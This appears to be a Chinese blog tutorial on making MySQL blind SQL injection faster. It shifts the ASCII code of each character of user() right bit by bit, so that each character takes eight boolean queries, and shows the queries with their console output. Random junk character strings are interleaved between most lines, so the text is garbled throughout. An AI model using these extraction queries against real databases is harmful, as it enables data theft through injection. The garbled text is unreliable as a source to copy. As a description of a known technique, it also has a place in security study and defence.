关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

, w5 {4 f& G7 I6 H5 R, `

7 L! }9 C+ L5 `  u# M) k8 s7 X' H下面将以查询mysql数据库当中user()的第一位为例:
8 U; [+ c/ Q0 e; W
7 i" |/ F* l) c$ P8 n  L
1 x& M! a' y; O. i) `' U) @2 X+ I
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
6 I7 X: B- E$ M


首先执行如下sql语句:
+ N; r& Z  ]8 ^# m; {9 G& W1 t) K
3 Z5 V, `. I0 z: g

mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
. q; z7 U5 y# B* h: j8 d

' e. J6 v9 K% n% I& c% M) l
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

0 P3 s. M3 M' p

第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
& w0 R* c- P9 b5 {

2 [" X& [7 G7 y  n$ I: }
0 Y: Q) ?( N# G如果运算结果为1,说明第一位为0,不为1


8 b8 N2 Q$ I/ I$ j
+————————————–+
6 e+ k! K' V  Z% D
| (ascii((substr(user(),1,1))) >> 7)=0 |

9 f. C' W4 p& E9 X/ B+————————————–+
4 S% r% y! g. |$ e6 s) f! b
| 1 |

4 b- s, O$ K* X1 V+————————————–+

1 row in set (0.00 sec)
4 G" I. a" J, g! S5 Y  Q
1 ^1 r1 r# N" s5 j这样我们就确定这个8bit的ascii的第一位为0

% H& w8 e  |- Z8 ~% _* b, q- F3 E

# m" G. K0 ]$ M8 B第二次我们来做6次右偏移来确定前两位


( o2 Z3 _: s# U
前两位可能是01或00,即依然可以与0做比较,
  g2 N- F* `( e
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
7 W- X. j# Z1 t8 k& z0 ~; v
+————————————–+

; x- y9 @& n$ y+ [* m: k0 ^& W| (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+

| 0 |

0 \7 D. ]1 T+ x( t8 q% i+————————————–+
4 w! W/ O5 \( Z1 t$ y1 b/ c1 Z! F
, O* {1 J( D" g5 S1 L  I1 row in set (0.00 sec)
9 B$ X+ E) W+ G4 u

& D& `& L6 A: O! G
结果为0,即第二位为1
4 _# ]. w. Y% d1 V2 ~
3 l9 P/ W. \; [5 ~4 a
. S! ~0 D1 O8 A" S  [0 D6 C; [4 P
开始猜测前三位为010或011



让我们看看010和011的ascii码是多少

3 R5 `, d- ]# F, c6 W7 f

0 J7 g( `/ y/ p* l, g分别查询select b’011′ select b’010′
; K* X* I: M  r2 T9 `
1 T# Y; l  `0 @8 ?0 \2 T4 B0 A

( N9 |" I. y7 ?3 _% f获得结果 010 = 2 011 = 3


5 M7 y5 C% N8 m; s; \  u" i
; H7 f+ T3 c4 c7 ^9 q! O执行如下sql:

* d( }1 M0 b( j0 K9 [. d0 D1 Z, D

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
9 R6 ~) u2 E2 _! A! i# H& b
1 Y( X) T" ~8 e6 T% l+————————————–+

, ~" u9 O  T9 L| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+
7 _# O- E/ K, O8 j3 d( O% u! w$ J
/ O. U5 I* p9 ^! e" A6 T' f| 0 |

+————————————–+

即前三位不为010,而是011

3 }. c: k5 M1 o" Y( j

直到获得最后一位

( O  Q  P1 }0 W! C  z/ s$ W
6 Z  h# C* F+ h" u: e6 {( ^: n0 s+ n$ s
最终结果为:01110010



+ M  k$ g  e, L转换一下:

. ]2 Y  r2 P/ x: D/ o& B

1 _* C  e; `. O2 j! I0 qselect b’01110010′
- z. _) U' X% y2 I3 ~0 U7 w

$ q5 ^+ J% O3 k
查询结果

6 p3 `" x# t) a
9 Y( u& t' o, U: x! h: M
+————-+

" o. Z* z4 W' A! @6 O" }2 @  ~5 q| b’01110010′ |

2 D5 ^. {  m2 @! ?' ]4 X+————-+
9 k) S* V+ i4 H% Q& X. a
3 L) k) b+ v  O- j# I( B( {| r |
7 ^, t9 V  j; c4 X& T* G
+————-+

1 row in set (0.00 sec)
0 Q3 D: r) k0 ]8 S* u9 M1 }2 L/ b

$ n8 c2 W' x$ `3 E# _
这样我们就获得了user()的第一位.其它位依此类推
: I( y( w- d; j; a( e
) v. u5 X, ?6 K4 B2 E& B) T& }5 I